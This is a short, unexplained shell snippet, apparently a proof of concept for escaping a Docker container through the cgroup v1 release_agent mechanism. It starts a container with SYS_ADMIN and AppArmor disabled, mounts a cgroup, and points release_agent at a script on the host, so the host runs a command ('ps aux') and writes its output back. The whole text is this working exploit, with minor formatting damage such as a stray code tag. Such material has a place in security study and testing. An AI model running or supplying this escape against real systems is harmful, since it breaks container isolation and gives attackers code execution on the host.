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# On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash # In the container mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=<code>sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" |